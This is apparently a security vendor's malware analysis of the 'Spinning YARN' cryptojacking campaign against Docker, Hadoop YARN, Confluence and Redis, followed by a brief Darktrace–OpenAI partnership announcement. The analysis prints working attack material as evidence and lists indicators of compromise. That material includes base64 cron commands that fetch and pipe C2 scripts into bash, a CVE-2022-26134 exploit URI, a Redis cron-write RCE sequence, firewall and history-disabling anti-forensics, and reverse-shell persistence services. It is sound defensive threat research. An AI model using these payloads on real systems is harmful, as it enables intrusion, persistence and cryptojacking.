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June 3, 2024

Spinning YARN: A New Linux Malware Campaign Targets Docker, Apache Hadoop, Redis and Confluence

Cado Security labs researchers (now part of Darktrace) encountered a Linux malware campaign, "Spinning YARN," that targets Docker, Apache Hadoop, Redis, and Confluence. This campaign exploits vulnerabilities in these widely used platforms to gain access.
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03
Jun 2024

Introduction: Linux malware campaign

Researchers from Cado Security Labs (now part of Darktrace) have encountered an emerging malware campaign targeting misconfigured servers running the following web-facing services:

The campaign utilizes a number of unique and unreported payloads, including four Golang binaries, that serve as tools to automate the discovery and infection of hosts running the above services. The attackers leverage these tools to issue exploit code, taking advantage of common misconfigurations and exploiting an n-day vulnerability, to conduct Remote Code Execution (RCE) attacks and infect new hosts. 

Once initial access is achieved, a series of shell scripts and general Linux attack techniques are used to deliver a cryptocurrency miner, spawn a reverse shell and enable persistent access to the compromised hosts. 

As always, it’s worth stressing that without the capabilities of governments or law enforcement agencies, attribution is nearly impossible – particularly where shell script payloads are concerned. However, it’s worth noting that the shell script payloads delivered by this campaign bear resemblance to those seen in prior cloud attacks, including those attributed to TeamTNT and WatchDog, along with the Kiss a Dog campaign reported by Crowdstrike. [3] 

Summary:

  • Four novel Golang payloads have been discovered that automate the identification and exploitation of Docker, Hadoop YARN, Confluence and Redis hosts
  • Attackers deploy an exploit for CVE-2022-26134, an n-day vulnerability in Confluence which is used to conduct RCE attacks [4]
  • For the Docker compromise, the attackers spawn a container and escape from it onto the underlying host
  • The attackers also deploy an instance of the Platypus open-source reverse shell utility, to maintain access to the host [5]
  • Multiple user mode rootkits are deployed to hide malicious processes

Initial access

Cado Security Labs researchers first discovered this campaign after being alerted to a cluster of initial access activity on a Docker Engine API honeypot. A Docker command was received from the IP address 47[.]96[.]69[.]71 that spawned a new container, based on Alpine Linux, and created a bind mount for the underlying honeypot server’s root directory (/) to the mount point /mnt within the container itself. 

This technique is fairly common in Docker attacks, as it allows the attacker to write files to the underlying host. Typically, this is exploited to write out a job for the Cron scheduler to execute, essentially conducting a remote code execution (RCE) attack. 
In this particular campaign, the attacker exploits this exact method to write out an executable at the path /usr/bin/vurl, along with registering a Cron job to decode some base64-encoded shell commands and execute them on the fly by piping through bash.

Wireshark output
Figure 1: Wireshark output demonstrating Docker communication, including Initial Access commands 

The vurl executable consists solely of a simple shell script function, used to establish a TCP connection with the attacker’s Command and Control (C2) infrastructure via the /dev/tcp device file. The Cron jobs mentioned above then utilize the vurl executable to retrieve the first stage payload from the C2 server located at http[:]//b[.]9-9-8[.]com which, at the time of the attack, resolved to the IP 107[.]189[.]31[.]172.

echo dnVybCgpIHsKCUlGUz0vIHJlYWQgLXIgcHJvdG8geCBob3N0IHF1ZXJ5IDw8PCIkMSIKICAgIGV4ZWMgMzw+Ii9kZXYvdGNwLyR7aG9zdH0vJHtQT1JUOi04MH0iCiAgICBlY2hvIC1lbiAiR0VUIC8ke3F1ZXJ5fSBIVFRQLzEuMFxyXG5Ib3N0OiAke2hvc3R9XHJcblxyXG4iID4mMwogICAgKHdoaWxlIHJlYWQgLXIgbDsgZG8gZWNobyA+JjIgIiRsIjsgW1sgJGwgPT0gJCdccicgXV0gJiYgYnJlYWs7IGRvbmUgJiYgY2F0ICkgPCYzCiAgICBleGVjIDM+Ji0KfQp2dXJsICRACg== |base64 -d    

     \u003e/usr/bin/vurl \u0026\u0026 chmod +x /usr/bin/vurl;echo '* * * * * root echo dnVybCBodHRwOi8vYi45LTktOC5jb20vYnJ5c2ovY3JvbmIuc2gK|base64 -d|bash|bash' \u003e/etc/crontab \u0026\u0026 echo '* * * * * root echo dnVybCBodHRwOi8vYi45LTktOC5jb20vYnJ5c2ovY3JvbmIuc2gK|base64 -d|bash|bash' \u003e/etc/cron.d/zzh \u0026\u0026 echo KiAqICogKiAqIHJvb3QgcHl0aG9uIC1jICJpbXBvcnQgdXJsbGliMjsgcHJpbnQgdXJsbGliMi51cmxvcGVuKCdodHRwOi8vYi45XC05XC1cOC5jb20vdC5zaCcpLnJlYWQoKSIgPi4xO2NobW9kICt4IC4xOy4vLjEK|base64 -d \u003e\u003e/etc/crontab" 

Payload retrieval commands written out to the Docker host

echo dnVybCBodHRwOi8vYi45LTktOC5jb20vYnJ5c2ovY3JvbmIuc2gK|base64 -d 

    vurl http[:]//b[.]9-9-8[.]com/brysj/cronb.sh 

Contents of first Cron job decoded

To provide redundancy in the event that the vurl payload retrieval method fails, the attackers write out an additional Cron job that attempts to use Python and the urllib2 library to retrieve another payload named t.sh.

KiAqICogKiAqIHJvb3QgcHl0aG9uIC1jICJpbXBvcnQgdXJsbGliMjsgcHJpbnQgdXJsbGliMi51cmxvcGVuKCdodHRwOi8vYi45XC05XC1cOC5jb20vdC5zaCcpLnJlYWQoKSIgPi4xO2NobW9kICt4IC4xOy4vLjEK|base64 -d 

    * * * * * root python -c "import urllib2; print urllib2.urlopen('http://b.9\-9\-\8.com/t.sh').read()" >.1;chmod +x .1;./.1 

Contents of the second Cron job decoded

Unfortunately, Cado Security Labs researchers were unable to retrieve this additional payload. It is assumed that it serves a similar purpose to the cronb.sh script discussed in the next section, and is likely a variant that carries out the same attack without relying on vurl. 

It’s worth noting that based on the decoded commands above, t.sh appears to reside outside the web directory that the other files are served from. This could be a mistake on the part of the attacker, perhaps they neglected to include that fragment of the URL when writing the Cron job.

Primary payload: cronb.sh

cronb.sh is a fairly straightforward shell script, its capabilities can be summarized as follows:

  • Define the C2 domain (http[:]//b[.]9-9-8[.]com) and URL (http[:]//b[.]9-9-8[.]com/brysj) where additional payloads are located 
  • Check for the existence of the chattr utility and rename it to zzhcht at the path in which it resides
  • If chattr does not exist, install it via the e2fsprogs package using either the apt or yum package managers before performing the renaming described above
  • Determine whether the current user is root and retrieve the next payload based on this
... 
    if [ -x /bin/chattr ];then 
        mv /bin/chattr /bin/zzhcht 
    elif [ -x /usr/bin/chattr ];then 
        mv /usr/bin/chattr /usr/bin/zzhcht 
    elif [ -x /usr/bin/zzhcht ];then 
        export CHATTR=/usr/bin/zzhcht 
    elif [ -x /bin/zzhcht ];then 
        export CHATTR=/bin/zzhcht 
    else  
       if [ $(command -v yum) ];then  
            yum -y reinstall e2fsprogs 
            if [ -x /bin/chattr ];then 
               mv /bin/chattr /bin/zzhcht 
       elif [ -x /usr/bin/chattr ];then 
               mv /usr/bin/chattr /usr/bin/zzhcht 
            fi 
       else 
            apt-get -y reinstall e2fsprogs 
            if [ -x /bin/chattr ];then 
              mv /bin/chattr /bin/zzhcht 
      elif [ -x /usr/bin/chattr ];then 
              mv /usr/bin/chattr /usr/bin/zzhcht 
            fi 
       fi 
    fi 
    ... 

Snippet of cronb.sh demonstrating chattr renaming code

ar.sh

This much longer shell script prepares the system for additional compromise, performs anti-forensics on the host and retrieves additional payloads, including XMRig and an attacker-generated script that continues the infection chain.

In a function named check_exist(), the malware uses netstat to determine whether connections to port 80 outbound are established. If an established connection to this port is discovered, the malware prints miner running to standard out. Later code suggests that the retrieved miner communicates with a mining pool on port 80, indicating that this is a check to determine whether the host has been previously compromised.

ar.sh will then proceed to install a number of utilities, including masscan, which is used for host discovery at a later stage in the attack. With this in place, the malware proceeds to run a number of common system weakening and anti-forensics commands. These include disabling firewalld and iptables, deleting shell history (via the HISTFILE environment variable), disabling SELinux and ensuring outbound DNS requests are successful by adding public DNS servers to /etc/resolv.conf.

Interestingly, ar.sh makes use of the shopt (shell options) built-in to prevent additional shell commands from the attacker’s session from being appended to the history file. [6] This is achieved with the following command:

shopt -ou history 2>/dev/null 1>/dev/null

Not only are additional commands prevented from being written to the history file, but the shopt command itself doesn’t appear in the shell history once a new session has been spawned. This is an effective anti-forensics technique for shell script malware, one that Cado Security Labs researchers have yet to see in other campaigns.

env_set(){ 
    iptables -F 
    systemctl stop firewalld 2>/dev/null 1>/dev/null 
    systemctl disable firewalld 2>/dev/null 1>/dev/null 
    service iptables stop 2>/dev/null 1>/dev/null 
    ulimit -n 65535 2>/dev/null 1>/dev/null 
    export LC_ALL=C  
    HISTCONTROL="ignorespace${HISTCONTROL:+:$HISTCONTROL}" 2>/dev/null 1>/dev/null 
    export HISTFILE=/dev/null 2>/dev/null 1>/dev/null 
    unset HISTFILE 2>/dev/null 1>/dev/null 
    shopt -ou history 2>/dev/null 1>/dev/null 
    set +o history 2>/dev/null 1>/dev/null 
    HISTSIZE=0 2>/dev/null 1>/dev/null 
    export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games 
    setenforce 0 2>/dev/null 1>/dev/null 
    echo SELINUX=disabled >/etc/selinux/config 2>/dev/null 
    sudo sysctl kernel.nmi_watchdog=0 
    sysctl kernel.nmi_watchdog=0 
    echo '0' >/proc/sys/kernel/nmi_watchdog 
    echo 'kernel.nmi_watchdog=0' >>/etc/sysctl.conf 
    grep -q 8.8.8.8 /etc/resolv.conf || ${CHATTR} -i /etc/resolv.conf 2>/dev/null 1>/dev/null; echo "nameserver 8.8.8.8" >> /etc/resolv.conf; 
    grep -q 114.114.114.114 /etc/resolv.conf || ${CHATTR} -i /etc/resolv.conf 2>/dev/null 1>/dev/null; echo "nameserver 8.8.4.4" >> /etc/resolv.conf; 
    } 

System weakening commands from ar.sh – env_set() function

Following the above techniques, ar.sh will proceed to install the libprocesshider and diamorphine user mode rootkits and use these to hide their malicious processes [7][8]. The rootkits are retrieved from the attacker’s C2 server and compiled on delivery. The use of both libprocesshider and diamorphine is particularly common in cloud malware campaigns and was most recently exhibited by a Redis miner discovered by Cado Security Labs in February 2024. [9].

Additional system weakening code in ar.sh focuses on uninstalling monitoring agents for Alibaba Cloud and Tencent, suggesting some targeting of these cloud environments in particular. Targeting of these East Asian cloud providers has been observed previously in campaigns by the threat actor WatchDog [10].

Other notable capabilities of ar.sh include: 

  • Insertion of an attacker-controlled SSH key, to maintain access to the compromised host
  • Retrieval of the miner binary (a fork of XMRig), this is saved to /var/tmp/.11/sshd
  • Retrieval of bioset, an open source Golang reverse shell utility, named Platypus, saved to /var/tmp/.11/bioset [5]
  • The bioset payload was intended to communicate with an additional C2 server located at 209[.]141[.]37[.]110:14447, communication with this host was unsuccessful at the time of analysis
  • Registering persistence in the form of systemd services for both bioset and the miner itself
  • Discovery of SSH keys and related IPs
  • The script also attempts to spread the cronb.sh malware to these discovered IPs via a SSH remote command
  • Retrieval and execution of a binary executable named fkoths (discussed in a later section)
... 
            ${CHATTR} -ia /etc/systemd/system/sshm.service && rm -f /etc/systemd/system/sshm.service 
    cat >/tmp/ext4.service << EOLB 
    [Unit] 
    Description=crypto system service 
    After=network.target 
    [Service] 
    Type=forking 
    GuessMainPID=no 
    ExecStart=/var/tmp/.11/sshd 
    WorkingDirectory=/var/tmp/.11 
    Restart=always 
    Nice=0  
    RestartSec=3 
    [Install] 
    WantedBy=multi-user.target 
    EOLB 
    fi 
    grep -q '/var/tmp/.11/bioset' /etc/systemd/system/sshb.service 
    if [ $? -eq 0 ] 
    then  
            echo service exist 
    else 
            ${CHATTR} -ia /etc/systemd/system/sshb.service && rm -f /etc/systemd/system/sshb.service 
    cat >/tmp/ext3.service << EOLB 
    [Unit] 
    Description=rshell system service 
    After=network.target 
    [Service] 
    Type=forking 
    GuessMainPID=no 
    ExecStart=/var/tmp/.11/bioset 
    WorkingDirectory=/var/tmp/.11 
    Restart=always 
    Nice=0  
    RestartSec=3 
    [Install] 
    WantedBy=multi-user.target 
    EOLB 
    fi 
    ... 

Examples of systemd service creation code for the miner and bioset binaries

Finally, ar.sh creates an infection marker on the host in the form of a simple text file located at /var/tmp/.dog. The script first checks that the /var/tmp/.dog file exists. If it doesn’t, the file is created and the string lockfile is echoed into it. This serves as a useful detection mechanism to determine whether a host has been compromised by this campaign. 

Finally, ar.sh concludes by retrieving s.sh from the C2 server, using the vurl function once again.

fkoths

This payload is the first of several 64-bit Golang ELFs deployed by the malware. The functionality of this executable is incredibly straightforward. Besides main(), it contains two additional functions named DeleteImagesByRepo() and AddEntryToHost(). 

DeleteImagesByRepo() simply searches for Docker images from the Ubuntu or Alpine repositories, and deletes those if found. Go’s heavy use of the stack makes it somewhat difficult to determine which repositories the attackers were targeting based on static analysis alone. Fortunately, this becomes evident when monitoring the stack in a debugger.

Example stack contents
Figure 2: Example stack contents when DeleteImagesByRepo() is called

It’s clear from the initial access stage that the attackers leverage the alpine:latest image to initiate their attack on the host. Based on this, it’s been assessed with high confidence that the purpose of this function is to clear up any evidence of this initial access, essentially performing anti-forensics on the host. 

The AddEntryToHost() function, as the name suggests, updates the /etc/hosts file with the following line:

127.0.0.1 registry-1.docker.io 

This has the effect of “blackholing” outbound requests to the Docker registry, preventing additional container images from being pulled from Dockerhub. This same technique was observed recently by Cado Security Labs researchers in the Commando Cat campaign [11].

s.sh

The next stage in the infection chain is the execution of yet another shell script, this time used to download additional binary payloads and persist them on the host. Like the scripts before it, s.sh begins by defining the C2 domain (http[:]//b[.]9-9-8[.]com), using a base64-encoded string. The malware then proceeds to create the following directory structure and changing directory into it: /etc/…/.ice-unix/. 

Within the .ice-unix directory, the attacker creates another infection marker on the host, this time in a file named .watch. If the file doesn’t already exist, the script will create it and echo the integer 1 into it. Once again, this serves as a useful detection mechanism for determining whether your host has been compromised by this campaign.

With this in place, the malware proceeds to install a number of packages via the apt or yum package managers. Notable packages include:

  • build-essential
  • gcc
  • redis-server
  • redis-tools
  • redis
  • unhide
  • masscan
  • docker.io
  • libpcap (a dependency of pnscan)

From this, it is believed that the attacker intends to compile some code on delivery, interact with Redis, conduct Internet scanning with masscan and interact with Docker. 

With the package installation complete, s.sh proceeds to retrieve zgrab and pnscan from the C2 server, these are used for host discovery in a later stage. The script then proceeds to retrieve the following executables:

  • c.sh – saved as /etc/.httpd/.../httpd
  • d.sh – saved as /var/.httpd/.../httpd
  • w.sh – saved as /var/.httpd/..../httpd
  • h.sh – saved as var/.httpd/...../httpd

s.sh then proceeds to define systemd services to persistently launch the retrieved executables, before saving them to the following paths:

  • /etc/systemd/system/zzhr.service (c.sh)
  • /etc/systemd/system/zzhd.service (d.sh)
  • /etc/systemd/system/zzhw.service (w.sh)
  • /etc/systemd/system/zzhh.service (h.sh)

... 
    if [ ! -f /var/.httpd/...../httpd ];then 
        vurl $domain/d/h.sh > httpd 
        chmod a+x httpd 
        echo "FUCK chmod2" 
        ls -al /var/.httpd/..... 
    fi 
    cat >/tmp/h.service <<EOL 
    [Service] 
    LimitNOFILE=65535 
    ExecStart=/var/.httpd/...../httpd 
    WorkingDirectory=/var/.httpd/..... 
    Restart=always  
    RestartSec=30 
    [Install] 
    WantedBy=default.target 
    EOL 
    ... 

Example of payload retrieval and service creation code for the h.sh payload

Initial access and spreader utilities: h.sh, d.sh, c.sh, w.sh

In the previous stage, the attacker retrieves and attempts to persist the payloads c.sh, d.sh, w.sh and h.sh. These executables are dedicated to identifying and exploiting hosts running each of the four services mentioned previously. 

Despite their names, all of these payloads are 64-bit Golang ELF binaries. Interestingly, the malware developer neglected to strip the binaries, leaving DWARF debug information intact. There has been no effort made to obfuscate strings or other sensitive data within the binaries either, making them trivial to reverse engineer. 

The purpose of these payloads is to use masscan or pnscan (compiled on delivery in an earlier stage) to scan a randomized network segment and search for hosts with ports 2375, 8088, 8090 or 6379 open. These are default ports used by the Docker Engine API, Apache Hadoop YARN, Confluence and Redis respectively. 

h.sh, d.sh and w.sh contain identical functions to generate a list of IPs to scan and hunt for these services. First, the Golang time_Now() function is called to provide a seed for a random number generator. This is passed to a function generateRandomOctets() that’s used to define a randomised /8 network prefix to scan. Example values include:

  • 109.0.0.0/8
  • 84.0.0.0/8
  • 104.0.0.0/8
  • 168.0.0.0/8
  • 3.0.0.0/8
  • 68.0.0.0/8

For each randomized octet, masscan is invoked and the resulting IPs are written out to the file scan_<octet>.0.0.0_8.txt in the working directory. 

d.sh

disassembly demonstrating use of os/exec to run massan
Figure 3: Disassembly demonstrating use of os/exec to run masscan

For d.sh, this procedure is used to identify hosts with the default Docker Engine API port (2375) open. The full masscan command is as follows:

masscan <octet>.0.0.0/8 -p 2375 –rate 10000 -oL scan_<octet>.0.0.0_8.txt 

The masscan output file is then read and the list of IPs is converted into a format readable by zgrab, before being written out to the file ips_for_zgrab_<octet>.txt [12].

For d.sh, zgrab will read these IPs and issue a HTTP GET request to the /v1.16/version endpoint of the Docker Engine API. The zgrab command in its entirety is as follows:

zgrab --senders 5000 --port=2375 --http='/v1.16/version' --output-file=zgrab_output_<octet>.0.0.0_8.json`  < ips_for_zgrab_<octet>.txt 2>/dev/null 

Successful responses to this HTTP request let the attacker know that Docker Engine is indeed running on port 2375 for the IP in question. The list of IPs to have responded successfully is then written out to zgrab_output_<octet>.0.0.0_8.json. 

Next, the payload calls a function helpfully named executeDockerCommand() for each of the IPs discovered by zgrab. As the name suggests, this function executes the Docker command covered in the Initial Access section above, kickstarting the infection chain on a new vulnerable host. 

Decompiler output demonstrating Docker command construction routine
Figure 4: Decompiler output demonstrating Docker command construction routine

h.sh

This payload contains identical logic for the randomized octet generation and follows the same procedure of using masscan and zgrab to identify targets. The main difference in this payload’s discovery phase is the targeting of Apache Hadoop servers, rather than Docker Engine deployments. As a result, the masscan and zgrab commands are slightly different:

masscan <octet>.0.0.0/8 -p 8088 –rate 10000 -oL scan_<octet>.0.0.0_8.txt 
zgrab --senders 1000 --port=8088 --http='/stacks' --output-file=zgrab_output_<octet>.0.0.0_8.json` < ips_for_zgrab_<octet>.txt 2>/dev/null 

From this, we can determine that d.sh is a Docker discovery and initial access tool, whereas h.sh is an Apache Hadoop discovery and initial access tool. 

Instead of invoking the executeDockerCommand() function, this payload instead invokes a function named executeYARNCommand() to handle the interaction with Hadoop. Similar to the Docker API interaction described previously, the purpose of this is to target Apache Hadoop YARN, a component of Hadoop that is responsible for scheduling tasks within the cluster [1].

If the YARN API is exposed to the open Internet, it’s possible to conduct a RCE attack by sending a JSON payload in a HTTP POST request to the /ws/v1/cluster/apps/ endpoint. This method of conducting RCE has been leveraged previously to deliver cloud-focused malware campaigns, such as Kinsing [13].

Example of YARN HTTP POST generation pseudocode in h.sh
Figure 5: Example of YARN HTTP POST generation pseudocode in h.sh

The POST request contains a JSON body with the same base64-encoded initial access command we covered previously. The JSON payload defines a new application (task to be scheduled, in this case a shell command) with the name new-application. This shell command decodes the base64 payload that defines vurl and retrieves the first stage of the infection chain. 

Success in executing this command kicks off the infection once again on a Hadoop host, allowing the attackers persistent access and the ability to run their XMRig miner.

w.sh 

This executable repeats the discovery procedure outlined in the previous two initial access/discovery payloads, except this time the target port is changed to 8090 – the default port used by Confluence. [2]

For each IP discovered, the malware uses zgrab to issue a HTTP GET request to the root directory of the server. This request includes a URI containing an exploit for CVE-2022-26134, a vulnerability in the Confluence server that allows attackers to conduct RCE attacks. [4]  

As you might expect, this RCE is once again used to execute the base64-encoded initial access command mentioned previously.

Decompiler output displaying CVE-2022-26134 exploit code
Figure 6: Decompiler output displaying CVE-2022-26134 exploit code

Without URL encoding, the full URI appears as follows:

/${new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("new java.lang.ProcessBuilder().command('bash','-c','echo dnVybCgpIHsKCUlGUz0vIHJlYWQgLXIgcHJvdG8geCBob3N0IHF1ZXJ5IDw8PCIkMSIKICAgIGV4ZWMgMzw+Ii9kZXYvdGNwLyR7aG9zdH0vJHtQT1JUOi04MH0iCiAgICBlY2hvIC1lbiAiR0VUIC8ke3F1ZXJ5fSBIVFRQLzEuMFxyXG5Ib3N0OiAke2hvc3R9XHJcblxyXG4iID4mMwogICAgKHdoaWxlIHJlYWQgLXIgbDsgZG8gZWNobyA+JjIgIiRsIjsgW1sgJGwgPT0gJCdccicgXV0gJiYgYnJlYWs7IGRvbmUgJiYgY2F0ICkgPCYzCiAgICBleGVjIDM+Ji0KfQp2dXJsIGh0dHA6Ly9iLjktOS04LmNvbS9icnlzai93LnNofGJhc2gK|base64 -d|bash').start()")}/ 

c.sh 

This final payload is dedicated to exploiting misconfigured Redis deployments. Of course, targeting of Redis is incredibly common amongst cloud-focused threat actors, making it unsurprising that Redis would be included as one of the four services targeted by this campaign [9].

This sample includes a slightly different discovery procedure from the previous three. Instead of using a combination of zgrab and masscan to identify targets, c.sh opts to execute pnscan across a range of randomly-generated IP addresses. 

After execution, the malware sets the maximum number of open files to 5000 via the setrlimit() syscall, before proceeding to delete a file named .dat in the current working directory, if it exists. If the file doesn’t exist, the malware creates it and writes the following redis-cli commands to it, in preparation for execution on identified Redis hosts:

save 
    config set stop-writes-on-bgsave-error no 
    flushall 
    set backup1 "\n\n\n\n*/2 * * * * echo Y2QxIGh0dHA6Ly9iLjktOS04LmNvbS9icnlzai9iLnNoCg==|base64 -d|bash|bash \n\n\n" 
    set backup2 "\n\n\n\n*/3 * * * * echo d2dldCAtcSAtTy0gaHR0cDovL2IuOS05LTguY29tL2JyeXNqL2Iuc2gK|base64 -d|bash|bash \n\n\n" 
    set backup3 "\n\n\n\n*/4 * * * * echo Y3VybCBodHRwOi8vL2IuOS05LTguY29tL2JyeXNqL2Iuc2gK|base64 -d|bash|bash \n\n\n" 
    set backup4 "\n\n\n\n@hourly  python -c \"import urllib2; print urllib2.urlopen(\'http://b.9\-9\-8\.com/t.sh\').read()\" >.1;chmod +x .1;./.1 \n\n\n" 
    config set dir "/var/spool/cron/" 
    config set dbfilename "root" 
    save 
    config set dir "/var/spool/cron/crontabs" 
    save 
    flushall 
    set backup1 "\n\n\n\n*/2 * * * * root echo Y2QxIGh0dHA6Ly9iLjktOS04LmNvbS9icnlzai9iLnNoCg==|base64 -d|bash|bash \n\n\n" 
    set backup2 "\n\n\n\n*/3 * * * * root echo d2dldCAtcSAtTy0gaHR0cDovL2IuOS05LTguY29tL2JyeXNqL2Iuc2gK|base64 -d|bash|bash \n\n\n" 
    set backup3 "\n\n\n\n*/4 * * * * root echo Y3VybCBodHRwOi8vL2IuOS05LTguY29tL2JyeXNqL2Iuc2gK|base64 -d|bash|bash \n\n\n" 
    set backup4 "\n\n\n\n@hourly  python -c \"import urllib2; print urllib2.urlopen(\'http://b.9\-9\-8\.com/t.sh\').read()\" >.1;chmod +x .1;./.1 \n\n\n" 
    config set dir "/etc/cron.d" 
    config set dbfilename "zzh" 
    save 
    config set dir "/etc/" 
    config set dbfilename "crontab" 
    save 

This achieves RCE on infected hosts, by writing a Cron job including shell commands to retrieve the cronb.sh payload to the database, before saving the database file to one of the Cron directories. When this file is read by the scheduler, the database file is parsed for the Cron job, and the job itself is eventually executed. This is a common Redis exploitation technique, covered extensively by Cado in previous blogs [9].

After running the random octet generation code described previously, the malware then uses pnscan to attempt to scan the randomized /16 subnet and identify misconfigured Redis servers. The pnscan command is as follows:

/usr/local/bin/pnscan -t512 -R 6f 73 3a 4c 69 6e 75 78 -W 2a 31 0d 0a 24 34 0d 0a 69 6e 66 6f 0d 0a 221.0.0.0/16 6379 
  • The -t argument enforces a timeout of 512 milliseconds for outbound connections
  • The -R argument looks for a specific hex-encoded response from the target server, in this case s:Linux (note that this is likely intended to be os:Linux)
  • The -W argument is a hex-encoded request string to send to the server. This runs the command 1; $4; info against the Redis host, prompting it to return the banner info searched for with the -R argument
pnsan command construction and execution
Figure 7: Disassembly demonstrating pnscan command construction and execution

For each identified IP, the following Redis command is run:

redis-cli -h <IP address> -p <port> –raw <content of .dat> 

Of course, this has the effect of reading the redis-cli commands in the .dat file and executing them on discovered hosts.

Conclusion

This extensive attack demonstrates the variety in initial access techniques available to cloud and Linux malware developers. Attackers are investing significant time into understanding the types of web-facing services deployed in cloud environments, keeping abreast of reported vulnerabilities in those services and using this knowledge to gain a foothold in target environments. 

Docker Engine API endpoints are frequently targeted for initial access. In the first quarter of 2024 alone, Cado Security Labs researchers have identified three new malware campaigns exploiting Docker for initial access, including this one. [11, 14] The deployment of an n-day vulnerability against Confluence also demonstrates a willingness to weaponize security research for nefarious purposes.

Although it’s not the first time Apache Hadoop has been targeted, it’s interesting to note that attackers still find the big data framework a lucrative target. It’s unclear whether the decision to target Hadoop in addition to Docker is based on the attacker’s experience or knowledge of the target environment.

Indicators of compromise

Filename SHA256

cronb.sh d4508f8e722f2f3ddd49023e7689d8c65389f65c871ef12e3a6635bbaeb7eb6e

ar.sh 64d8f887e33781bb814eaefa98dd64368da9a8d38bd9da4a76f04a23b6eb9de5

fkoths afddbaec28b040bcbaa13decdc03c1b994d57de244befbdf2de9fe975cae50c4

s.sh 251501255693122e818cadc28ced1ddb0e6bf4a720fd36dbb39bc7dedface8e5

bioset 0c7579294124ddc32775d7cf6b28af21b908123e9ea6ec2d6af01a948caf8b87

d.sh 0c3fe24490cc86e332095ef66fe455d17f859e070cb41cbe67d2a9efe93d7ce5

h.sh d45aca9ee44e1e510e951033f7ac72c137fc90129a7d5cd383296b6bd1e3ddb5

w.sh e71975a72f93b134476c8183051fee827ea509b4e888e19d551a8ced6087e15c

c.sh 5a816806784f9ae4cb1564a3e07e5b5ef0aa3d568bd3d2af9bc1a0937841d174

Paths

/usr/bin/vurl

/etc/cron.d/zzh

/bin/zzhcht

/usr/bin/zzhcht

/var/tmp/.11/sshd

/var/tmp/.11/bioset

/var/tmp/.11/..lph

/var/tmp/.dog

/etc/systemd/system/sshm.service

/etc/systemd/system/sshb.service

/etc/systemd/system/zzhr.service

/etc/systemd/system/zzhd.service

/etc/systemd/system/zzhw.service

/etc/systemd/system/zzhh.service

/etc/…/.ice-unix/

/etc/…/.ice-unix/.watch

/etc/.httpd/…/httpd

/etc/.httpd/…/httpd

/var/.httpd/…./httpd

/var/.httpd/…../httpd

IP addresses

47[.]96[.]69[.]71

107[.]189[.]31[.]172

209[.]141[.]37[.]110

Domains/URLs

http[:]//b[.]9-9-8[.]com

http[:]//b[.]9-9-8[.]com/brysj/cronb.sh

http[:]//b[.]9-9-8[.]com/brysj/d/ar.sh

http[:]//b[.]9-9-8[.]com/brysj/d/c.sh

http[:]//b[.]9-9-8[.]com/brysj/d/h.sh

http[:]//b[.]9-9-8[.]com/brysj/d/d.sh

http[:]//b[.]9-9-8[.]com/brysj/d/enbio.tar

References:

  1. https://hadoop.apache.org/docs/stable/hadoop-yarn/hadoop-yarn-site/YARN.html
  2. https://www.atlassian.com/software/confluence
  3. https://www.crowdstrike.com/en-us/blog/new-kiss-a-dog-cryptojacking-campaign-targets-docker-and-kubernetes/
  4. https://nvd.nist.gov/vuln/detail/cve-2022-26134
  5. https://github.com/WangYihang/Platypus
  6. https://www.gnu.org/software/bash/manual/html_node/The-Shopt-Builtin.html
  7. https://github.com/gianlucaborello/libprocesshider
  8. https://github.com/m0nad/Diamorphine
  9. https://www.darktrace.com/blog/migo-a-redis-miner-with-novel-system-weakening-techniques
  10. https://www.cadosecurity.com/blog/watchdog-continues-to-target-east-asian-csps
  11. https://www.darktrace.com/blog/the-nine-lives-of-commando-cat-analyzing-a-novel-malware-campaign-targeting-docker
  12. https://github.com/zmap/zgrab2
  13. https://www.trendmicro.com/en_us/research/21/g/threat-actors-exploit-misconfigured-apache-hadoop-yarn.html
  14. www.darktrace.com/blog/containerised-clicks-malicious-use-of-9hits-on-vulnerable-docker-hosts
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Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
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September 4, 2026

Darktrace Advances Incident Investigation and AI-Agent Security with OpenAI Daybreak Models

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Earlier this year, Darktrace joined OpenAI’s Daybreak Defense Network to explore how their cyber capabilities can be integrated within Darktrace products and services to transform how security teams move from signal to action.

At the heart of this work is Darktrace's behavioral understanding of customer environments and identification of complex security incidents, combined with OpenAI models that can add context to help explain why an incident matters and its potential impact on the business. By bringing these capabilities into defensive workflows security teams already use, the goal is to give defenders not just greater visibility, but the context and guidance they need to act with confidence.

Since joining the program, we've been working with OpenAI to explore how these capabilities can address specific security challenges for defenders.

The problem we're solving

Attackers continue to change how they operate, including by using AI to increase the speed and scale of some techniques. Security teams are already managing a large volume of alerts, and the question isn't just what's happening, but how it could affect the organization. Even when an incident is fully investigated and correlated, technical severity alone doesn't tell a security team how much it actually matters to the business. That same challenge extends to internal AI adoption. As organizations adopt more AI systems and agents, security teams need visibility into their behavior, access and activity, along with the broader business context needed to identify and investigate potential risk.

Darktrace's Adaptive AI™ builds a detailed, organization-specific picture of what's normal for each environment, and uses that picture to investigate threats and identify complex security activity across domains. OpenAI's models can build on Darktrace's correlated, technically prioritized incidents by adding context that can help defenders understand what may be at stake.

What we're building

Our work is focused on two areas: supporting security investigation and response, and helping defenders identify risky behavior across enterprise AI systems and agents.

The first aligns Darktrace's behavioral understanding with OpenAI models to support  security investigation and prioritization. Darktrace's Adaptive AI continuously learns the unique patterns of normal behavior within each customer it protects, creating a deep, organization-specific understanding of its digital estate. When unusual activity emerges, OpenAI's models can draw on that context to help analysts investigate the incident, understand its significance and assess potential business consequences — reducing the need to manually assemble context from fragmented signals.

Second, we are exploring how these capabilities can support AI-agent and runtime security through Darktrace / SECURE AI™. OpenAI’s Daybreak models can build on the detections and visibility Darktrace / SECURE AI provides, connecting signals across a customer's environment and help defenders identify potentially risky behavior involving AI systems and agents. Activity that might appear isolated can instead be connected with related signals, helping defenders investigate the broader context and determine appropriate remediation.

Darktrace brings deep cybersecurity expertise, an evolving understanding of each customer's environment, and AI-driven identification of threats across the digital estate. Through the Daybreak Defense Network, Darktrace is exploring how OpenAI models can augment those capabilities in defensive security workflows — supporting incident investigation and response and improving visibility into AI-agent and runtime risk.

These capabilities are still in development, and we're excited to continue building on this work.

To learn more about how Darktrace continues to innovate to meet today's most pressing security challenges, register for our upcoming launch broadcast here.

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September 4, 2026

Botnet Behind the Camera: Mirai Katana Activity on a Video Recording Device

